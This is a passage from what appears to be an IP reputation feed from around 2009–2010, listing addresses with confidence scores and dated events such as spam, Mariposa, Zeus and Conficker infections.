11 08:59:00 2009 GMT\r\n\r\nIP : 20.23.237.183\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 10:59:00 2009 GMT\r\n\r\nIP : 20.12.137.6\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 18:59:00 2009 GMT\r\n\r\nIP : 20.169.241.211\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 04:59:00 2009 GMT\r\n\r\nIP : 20.24.0.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 05:59:00 2009 GMT\r\n\r\nIP : 20.47.254.64\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 20.241.253.7\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 20.144.0.148\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan  6 04:59:00 2009 GMT\r\n\r\nIP : 20.60.3.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Nov 19 05:59:00 2009 GMT\r\n\r\nIP : 20.48.2.239\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 00:59:00 2009 GMT\r\n\r\nIP : 20.218.5.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 22:59:00 2009 GMT\r\n\r\nIP : 20.120.4.17\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.108.10.58\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 31 01:59:00 2009 GMT\r\n\r\nIP : 20.24.22.177\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb  5 23:59:00 2009 GMT\r\n\r\nIP : 20.144.19.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 07:59:00 2009 GMT\r\n\r\nIP : 20.24.28.174\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 09:59:00 2009 GMT\r\n\r\nIP : 20.108.19.120\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 03:59:00 2009 GMT\r\n\r\nIP : 20.230.24.209\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.194.19.29\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 19:59:00 2009 GMT\r\n\r\nIP : 20.170.26.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 06:59:00 2009 GMT\r\n\r\nIP : 20.12.180.29\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.132.20.202\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 19:59:00 2009 GMT\r\n\r\nIP : 20.170.30.242\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.144.30.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 12:59:00 2009 GMT\r\n\r\nIP : 20.120.28.254\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 11:59:00 2009 GMT\r\n\r\nIP : 20.242.36.104\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 23 03:59:00 2009 GMT\r\n\r\nIP : 20.24.42.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  8 21:59:00 2009 GMT\r\n\r\nIP : 20.156.31.172\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Oct  5 18:59:00 2009 GMT\r\n\r\nIP : 20.84.33.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 17 07:59:00 2009 GMT\r\n\r\nIP : 20.132.36.42\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb  7 02:59:00 2009 GMT\r\n\r\nIP : 20.72.40.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 12:59:00 2009 GMT\r\n\r\nIP : 20.48.48.153\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Apr 29 06:59:00 2009 GMT\r\n\r\nIP : 20.132.41.59\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 23:59:00 2009 GMT\r\n\r\nIP : 20.144.50.18\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb 22 14:59:00 2009 GMT\r\n\r\nIP : 20.230.54.66\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 10 18:59:00 2009 GMT\r\n\r\nIP : 20.218.56.0\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 07:59:00 2009 GMT\r\n\r\nIP : 20.132.52.144\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar  7 10:59:00 2009 GMT\r\n\r\nIP : 20.254.55.78\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Sep  1 15:59:00 2009 GMT\r\n\r\nIP : 20.194.57.88\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 10:59:00 2009 GMT\r\n\r\nIP : 20.72.61.232\r\nConfidence : 35.52634%\r\nEvents : \r\n	Spam : Thu Mar 18 01:59:00 2010 GMT\r\n\r\nIP : 20.132.62.125\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 20.132.64.204\r\nConfidence : 99.662563%\r\nEvents : \r\n	Mariposa : Wed Jun 16 20:35:50 2010 GMT\r\n\r\nIP : 20.132.68.17\r\nConfidence : 73.54497%\r\nEvents : \r\n	Mariposa : Fri Jun  4 20:46:34 2010 GMT\r\n\r\nIP : 20.132.68.147\r\nConfidence : 33.952562%\r\nEvents : \r\n	Zeus : Thu Mar 11 12:00:41 2010 GMT\r\n	Conficker A/B : Mon Jul 27 23:25:37 2009 GMT\r\n\r\nIP : 20.132.69.33\r\nConfidence : 74.275794%\r\nEvents : \r\n	Mariposa : Wed Jun  9 22:36:29 2010 GMT\r\n\r\nIP : 20.132.69.34\r\nConfidence : 68.573092%\r\nEvents : \r\n	Mariposa : Wed May 12 17:56:03 2010 GMT\r\n\r\nIP : 20.132.69.47\r\nConfidence : 99.662563%\r\nEvents : \r\n	Mariposa : Wed Jun 16 20:43:25 2010 GMT\r\n\r\nIP : 20.242.86.174\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.230.88.223\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 18 15:59:00 2009 GMT\r\n\r\nIP : 20.96.85.240\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 18:59:00 2009 GMT\r\n\r\nIP : 20.194.83.75\r\nConfidence : 20.878069%\r\nEvents : \r\n	Spam : Fri Jan 22 08:59:00 2010 GMT\r\n\r\nIP : 20.218.91.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 18:59:00 2009 GMT\r\n\r\nIP : 20.24.108.73\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 18:59:00 2009 GMT\r\n\r\nIP : 20.13.5.3\r\nConfidence : 18.549645%\r\nEvents : \r\n	Spam : Thu Jan 14 16:59:00 2010 GMT\r\n\r\nIP : 20.218.106.226\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 22 17:59:00 2009 GMT\r\n\r\nIP : 20.170.109.132\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Nov 30 12:59:00 2009 GMT\r\n\r\nIP : 20.108.102.68\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  9 20:59:00 2009 GMT\r\n\r\nIP : 20.230.109.245\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 26 03:59:00 2009 GMT\r\n\r\nIP : 20.48.112.160\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan 20 08:59:00 2009 GMT\r\n\r\nIP : 20.36.112.148\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 16:59:00 2009 GMT\r\n\r\nIP : 20.170.115.6\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 03:59:00 2009 GMT\r\n\r\nIP : 20.194.106.160\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Aug 13 21:59:00 2009 GMT\r\n\r\nIP : 20.144.112.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 11 17:59:00 2009 GMT\r\n\r\nIP : 20.48.116.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.48.121.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 05:59:00 2009 GMT\r\n\r\nIP : 20.120.116.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 19:59:00 2009 GMT\r\n\r\nIP : 20.48.132.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 12:59:00 2009 GMT\r\n\r\nIP : 20.84.125.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar  6 17:59:00 2009 GMT\r\n\r\nIP : 20.132.128.50\r\nConfidence : 100%\r\nEvents : \r\n	Unknown : Fri Jun 18 17:48:15 2010 GMT\r\n\r\nIP : 20.182.132.77\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 21:59:00 2009 GMT\r\n\r\nIP : 20.72.142.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan 11 06:59:00 2009 GMT\r\n\r\nIP : 20.13.45.235\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Mar 14 23:59:00 2009 GMT\r\n\r\nIP : 20.218.149.253\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Sep 12 00:59:00 2009 GMT\r\n\r\nIP : 20.60.153.213\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 15:59:00 2009 GMT\r\n\r\nIP : 20.108.144.234\r\nConfidence : 32.231303%\r\nEvents : \r\n	Spam : Fri Mar  5 01:59:00 2010 GMT\r\n\r\nIP : 20.230.152.121\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 04:59:00 2009 GMT\r\n\r\nIP : 20.156.146.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 15:59:00 2009 GMT\r\n\r\nIP : 20.24.164.182\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 09:59:00 2009 GMT\r\n\r\nIP : 20.156.154.68\r\nConfidence : 24.375298%\r\nEvents : \r\n	Spam : Wed Feb  3 19:59:00 2010 GMT\r\n\r\nIP : 20.230.162.55\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.36.164.216\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 24 00:59:00 2009 GMT\r\n\r\nIP : 20.120.158.186\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Dec 16 08:59:00 2009 GMT\r\n\r\nIP : 20.230.165.189\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Aug 19 18:59:00 2009 GMT\r\n\r\nIP : 20.206.164.79\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.48.170.107\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\nIP : 20.206.165.86\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 07:59:00 2009 GMT\r\n\r\nIP : 20.36.168.239\r\nConfidence : 29.591607%\r\nEvents : \r\n	Spam : Mon Feb 22 21:59:00 2010 GMT\r\n\r\nIP : 20.218.167.186\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 01:59:00 2009 GMT\r\n\r\nIP : 20.132.164.48\r\nConfidence : 23.876356%\r\nEvents : \r\n	Conficker A/B : Tue Feb  2 03:38:20 2010 GMT\r\n\r\nIP : 20.218.172.129\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 06:59:00 2009 GMT\r\n\r\nIP : 20.206.174.112\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar 10 21:59:00 2009 GMT\r\n\r\nIP : 20.84.169.206\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 15:59:00 2009 GMT\r\n\r\nIP : 20.132.171.135\r\nConfidence : 23.170065%\r\nEvents : \r\n	Spam : Sat Jan 30 17:59:00 2010 GMT\r\n\r\nIP : 20.36.181.217\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 06:59:00 2009 GMT\r\n\r\nIP : 20.206.178.69\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 20.194.180.250\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 18:59:00 2009 GMT\r\n\r\nIP : 20.96.182.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 23:59:00 2009 GMT\r\n\r\nIP : 20.48.191.195\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.48.192.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan  8 17:59:00 2009 GMT\r\n\r\nIP : 20.84.183.172\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.84.185.25\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 20.24.202.50\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar 11 04:59:00 2009 GMT\r\n\r\nIP : 20.84.191.194\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 20:59:00 2009 GMT\r\n\r\nIP : 20.182.199.86\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 21:59:00 2009 GMT\r\n\r\nIP : 20.254.202.116\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 14 21:59:00 2009 GMT\r\n\r\nIP : 20.182.207.210\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 17:59:00 2009 GMT\r\n\r\nIP : 20.60.216.253\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 20:59:00 2009 GMT\r\n\r\nIP : 20.60.220.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.182.218.10\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.218.220.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb 16 00:59:00 2009 GMT\r\n\r\nIP : 20.60.227.146\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 01:59:00 2009 GMT\r\n\r\nIP : 20.84.223.145\r\nConfidence : 50.547433%\r\nEvents : \r\n	Spam : Sun Mar 21 20:59:00 2010 GMT\r\n\r\nIP : 20.156.229.179\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 07:59:00 2009 GMT\r\n\r\nIP : 20.108.240.62\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 08:59:00 2009 GMT\r\n\r\nIP : 20.13.148.197\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.182.250.50\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 04:59:00 2009 GMT\r\n\r\nIP : 20.36.255.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.218.254.158\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 12 00:59:00 2009 GMT\r\n\r\nIP : 20.194.252.74\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Jan  4 20:59:00 2009 GMT\r\n\r\nIP : 20.84.252.208\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 20.133.1.1\r\nConfidence : 99.951172%\r\nEvents : \r\n	Unknown : Fri Jun 18 20:49:50 2010 GMT\r\n	Conficker A/B : Tue May  4 12:55:25 2010 GMT\r\n\r\nIP : 20.133.1.2\r\nConfidence : 99.990889%\r\nEvents : \r\n	Zeus : Tue Mar  9 10:42:01 2010 GMT\r\n	Unknown : Sat Jun 19 05:20:00 2010 GMT\r\n	Conficker A/B : Sat Jun 19 02:49:51 2010 GMT\r\n\r\nIP : 20.133.4.17\r\nConfidence : 73.551619%\r\nEvents : \r\n	Mariposa : Sun Jun  6 02:51:06 2010 GMT\r\n\r\nIP : 20.133.4.133\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Wed Feb 25 08:41:15 2009 GMT\r\n\r\nIP : 20.133.4.134\r\nConfidence : 10%\r\nEvents : \r\n	Conficker A/B : Wed Apr 29 04:57:58 2009 GMT\r\n\r\nIP : 20.13.173.141\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 16:59:00 2009 GMT\r\n\r\nIP : 20.243.20.65\r\nConfidence : 65.953963%\r\nEvents : \r\n	Spam : Tue May  4 13:59:00 2010 GMT\r\n\r\nIP : 20.145.18.39\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 00:59:00 2009 GMT\r\n\r\nIP : 20.145.20.54\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 28 04:59:00 2009 GMT\r\n\r\nIP : 20.157.14.116\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.133.16.226\r\nConfidence : 35.496965%\r\nEvents : \r\n	Zeus : Fri Mar 19 06:04:12 2010 GMT\r\n	Conficker C : Thu Oct 15 11:25:18 2009 GMT\r\n	Conficker A/B : Thu Nov  5 16:11:48 2009 GMT\r\n\r\nIP : 20.121.24.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan 22 07:59:00 2009 GMT\r\n\r\nIP : 20.183.32.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Dec 16 13:59:00 2009 GMT\r\n\r\nIP : 20.133.32.1\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan  9 03:59:00 2009 GMT\r\n\r\nIP : 20.133.32.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan  1 17:59:00 2009 GMT\r\n\r\nIP : 20.133.32.5\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Apr 30 00:59:00 2009 GMT\r\n\r\nIP : 20.133.32.18\r\nConfidence : 99.857644%\r\nEvents : \r\n	Zeus : Tue Mar  9 10:55:30 2010 GMT\r\n	Conficker C : Wed Jun  2 11:31:17 2010 GMT\r\n	Conficker A/B : Fri Jun 18 15:08:24 2010 GMT\r\n\r\nIP : 20.207.38.53\r\nConfidence : 68.264984%\r\nEvents : \r\n	Spam : Wed May 12 22:59:00 2010 GMT\r\n\r\nIP : 20.231.41.203\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.73.39.65\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 10:59:00 2009 GMT\r\n\r\nIP : 20.157.38.36\r\nConfidence : 17.401736%\r\nEvents : \r\n	Spam : Tue Jan 12 03:59:00 2010 GMT\r\n\r\nIP : 20.133.40.13\r\nConfidence : 31.055313%\r\nEvents : \r\n	Conficker A/B : Mon Mar  1 08:41:20 2010 GMT\r\n\r\nIP : 20.25.60.115\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.231.65.36\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 13:59:00 2009 GMT\r\n\r\nIP : 20.207.65.57\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 04:59:00 2009 GMT\r\n\r\nIP : 20.25.72.109\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 06:59:00 2009 GMT\r\n\r\nIP : 20.25.72.226\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.25.73.114\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 11:59:00 2009 GMT\r\n\r\nIP : 20.49.82.128\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Dec 15 11:59:00 2009 GMT\r\n\r\nIP : 20.49.82.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 20.183.79.110\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.97.78.41\r\nConfidence : 26.049824%\r\nEvents : \r\n	Spam : Wed Feb 10 21:59:00 2010 GMT\r\n\r\nIP : 20.109.85.43\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Oct 10 10:59:00 2009 GMT\r\n\r\nIP : 20.231.94.149\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Mar  3 22:59:00 2009 GMT\r\n\r\nIP : 20.97.91.167\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 06:59:00 2009 GMT\r\n\r\nIP : 20.231.97.151\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.195.92.129\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.243.100.148\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Mar  4 03:59:00 2009 GMT\r\n\r\nIP : 20.133.100.111\r\nConfidence : 68.131473%\r\nEvents : \r\n	Spam : Wed May 12 20:59:00 2010 GMT\r\n\r\nIP : 20.97.100.246\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.97.104.102\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 12 16:59:00 2009 GMT\r\n\r\nIP : 20.255.116.7\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Jan 19 21:59:00 2009 GMT\r\n\r\nIP : 20.183.118.3\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 23:59:00 2009 GMT\r\n\r\nIP : 20.73.116.36\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb  7 05:59:00 2009 GMT\r\n\r\nIP : 20.255.121.155\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 18:59:00 2009 GMT\r\n\r\nIP : 20.255.128.177\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Jan 21 16:59:00 2009 GMT\r\n\r\nIP : 20.85.126.200\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Feb 10 02:59:00 2009 GMT\r\n\r\nIP : 20.207.138.156\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 21:59:00 2009 GMT\r\n\r\nIP : 20.133.134.213\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 14:59:00 2009 GMT\r\n\r\nIP : 20.109.133.45\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Tue Jan  6 06:59:00 2009 GMT\r\n\r\nIP : 20.183.148.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 03:59:00 2009 GMT\r\n\r\nIP : 20.37.153.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.37.154.115\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Mar 13 17:59:00 2009 GMT\r\n\r\nIP : 20.121.144.140\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 30 01:59:00 2009 GMT\r\n\r\nIP : 20.145.156.127\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 16:59:00 2009 GMT\r\n\r\nIP : 20.109.146.136\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 03:59:00 2009 GMT\r\n\r\nIP : 20.157.155.225\r\nConfidence : 27.595674%\r\nEvents : \r\n	Spam : Tue Feb 16 23:59:00 2010 GMT\r\n\r\nIP : 20.85.160.96\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 12 03:59:00 2009 GMT\r\n\r\nIP : 20.183.168.230\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 15:59:00 2009 GMT\r\n\r\nIP : 20.85.169.178\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 00:59:00 2009 GMT\r\n\r\nIP : 20.97.173.95\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 20:59:00 2009 GMT\r\n\r\nIP : 20.243.181.71\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Wed Feb 25 16:59:00 2009 GMT\r\n\r\nIP : 20.243.189.70\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 00:59:00 2009 GMT\r\n\r\nIP : 20.37.190.8\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 13 21:59:00 2009 GMT\r\n\r\nIP : 20.97.184.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 30 10:59:00 2009 GMT\r\n\r\nIP : 20.195.184.2\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 17:59:00 2009 GMT\r\n\r\nIP : 20.255.186.214\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  8 23:59:00 2009 GMT\r\n\r\nIP : 20.157.183.188\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Feb 27 20:59:00 2009 GMT\r\n\r\nIP : 20.207.190.164\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Jan 15 03:59:00 2009 GMT\r\n\r\nIP : 20.231.194.222\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Feb  1 11:59:00 2009 GMT\r\n\r\nIP : 20.14.91.39\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 15:59:00 2009 GMT\r\n\r\nIP : 20.109.183.118\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 06:59:00 2009 GMT\r\n\r\nIP : 20.109.184.63\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Dec  3 14:59:00 2009 GMT\r\n\r\nIP : 20.207.196.122\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Fri Jan 16 06:59:00 2009 GMT\r\n\r\nIP : 20.61.208.10\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Jan 17 13:59:00 2009 GMT\r\n\r\nIP : 20.133.208.69\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 20:59:00 2009 GMT\r\n\r\nIP : 20.109.207.76\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 23:59:00 2009 GMT\r\n\r\nIP : 20.14.118.32\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 08:59:00 2009 GMT\r\n\r\nIP : 20.14.120.16\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 15:59:00 2009 GMT\r\n\r\nIP : 20.85.213.57\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Feb  9 11:59:00 2009 GMT\r\n\r\nIP : 20.85.213.154\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 03:59:00 2009 GMT\r\n\r\nIP : 20.231.227.238\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 20.121.224.83\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar 19 03:59:00 2009 GMT\r\n\r\nIP : 20.37.237.145\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Feb 26 00:59:00 2009 GMT\r\n\r\nIP : 20.97.244.45\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 12:59:00 2009 GMT\r\n\r\nIP : 20.243.249.142\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Thu Mar  5 06:59:00 2009 GMT\r\n\r\nIP : 20.133.244.82\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 04:59:00 2009 GMT\r\n\r\nIP : 20.25.254.135\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar  1 17:59:00 2009 GMT\r\n\r\nIP : 20.50.2.45\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sun Mar 15 09:59:00 2009 GMT\r\n\r\nIP : 20.50.3.113\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 16 02:59:00 2009 GMT\r\n\r\nIP : 20.157.248.118\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar 23 06:59:00 2009 GMT\r\n\r\nIP : 20.14.155.157\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Mon Mar  2 08:59:00 2009 GMT\r\n\r\nIP : 20.121.249.199\r\nConfidence : 10%\r\nEvents : \r\n	Spam : Sat Feb 21 